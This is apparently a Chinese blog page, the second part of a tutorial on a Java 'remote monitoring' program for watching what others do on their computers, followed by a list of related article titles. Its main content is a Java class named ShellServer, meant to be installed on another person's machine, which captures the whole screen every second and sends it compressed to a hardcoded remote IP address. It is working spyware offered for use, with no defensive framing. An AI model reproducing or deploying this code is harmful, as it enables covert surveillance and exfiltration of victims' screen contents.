用java写的远程监控程序,可以看到别人计算机上正在进行的操作(2)
来源:互联网 发布:大麦盒子1016提示网络 编辑:程序博客网 时间:2024/06/05 23:03
2。在别人机器上安装的程序
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;
public ShellServer() {
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);//可以指定捕获屏幕的区域
try{
robot = new Robot();
}catch(Exception e){
e.printStackTrace();
System.out.println(e);
}
}
public void run(){
ZipOutputStream os = null;
Socket socket=null;
while (true){
try{
socket = new Socket("10.124.10.127",5000);// 连接远程IP
BufferedImage image = robot.createScreenCapture(rectangle);// 捕获制定屏幕矩形区域
os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
// os = new ZipOutputStream(new FileOutputStream("D:/1.zip"));
os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(os).encode(image);//图形编码成JPEG
os.close();
Thread.sleep(1000);//每秒20帧
}catch(Exception e){
e.printStackTrace();
}finally{
if(os!=null){
try{
os.close();
}catch(Exception ioe){}
}
if(socket!=null){
try {
socket.close();
} catch (IOException e) {
}
}
}
}
}
public static void main(String[] args) {
new ShellServer().start();
}
}
- 用java写的远程监控程序,可以看到别人计算机上正在进行的操作(2)
- 用java写的远程监控程序,可以看到别人计算机上正在进行的操作(1)
- 用java写的远程监控程序
- 用java写的远程监控程序
- java 写的屏幕远程监控程序
- [VB.NET]请问我编写的VBNET程序,别人可以用某工具看到源文件怎么办?
- visualvm监控远程机器上的Java程序
- visualvm监控远程机器上的Java程序
- visualvm监控远程机器上的Java程序
- 看到一首别人写的自由诗.
- dom节点操作,画图分析,方法说明,你在这里可以看到别人看不到的
- 初学java的我看到别人的一些建议,有补充的可以加以评论,谢谢
- 用JVISUALVM远程监控JAVA程序的性能
- 看到别人的鸡汤
- 在别人blog上看到的"20 Sites for Java Developers "
- 看到别人用css3写的baymax ,大白,挺萌的
- 远程监控程序的思路
- 远程监控程序的实现
- Java初学者都必须理解的六大问题
- net框架下的ajax
- 用java写的远程监控程序,可以看到别人计算机上正在进行的操作(1)
- 如何禁止文本框的输入[zt]
- Asp.net 2.0 用C# 创建 PDF文件[引用] (示例代码下载)
- 用java写的远程监控程序,可以看到别人计算机上正在进行的操作(2)
- Ajax返回responseXML乱码问题
- C++ Primer 指向成员函数的指针
- 基于C#的Socket开发快速入门
- .NET Delegates: A C# Bedtime Story中文版(上篇)
- 细说HTML元素的ID和Name属性的区别
- 我的JAVA之路
- Asp.net 2.0 一个简单的联动DropDownList示例(示例代码下载)
- 关于Java包导入的一个奇怪问题(www.sunxin.org)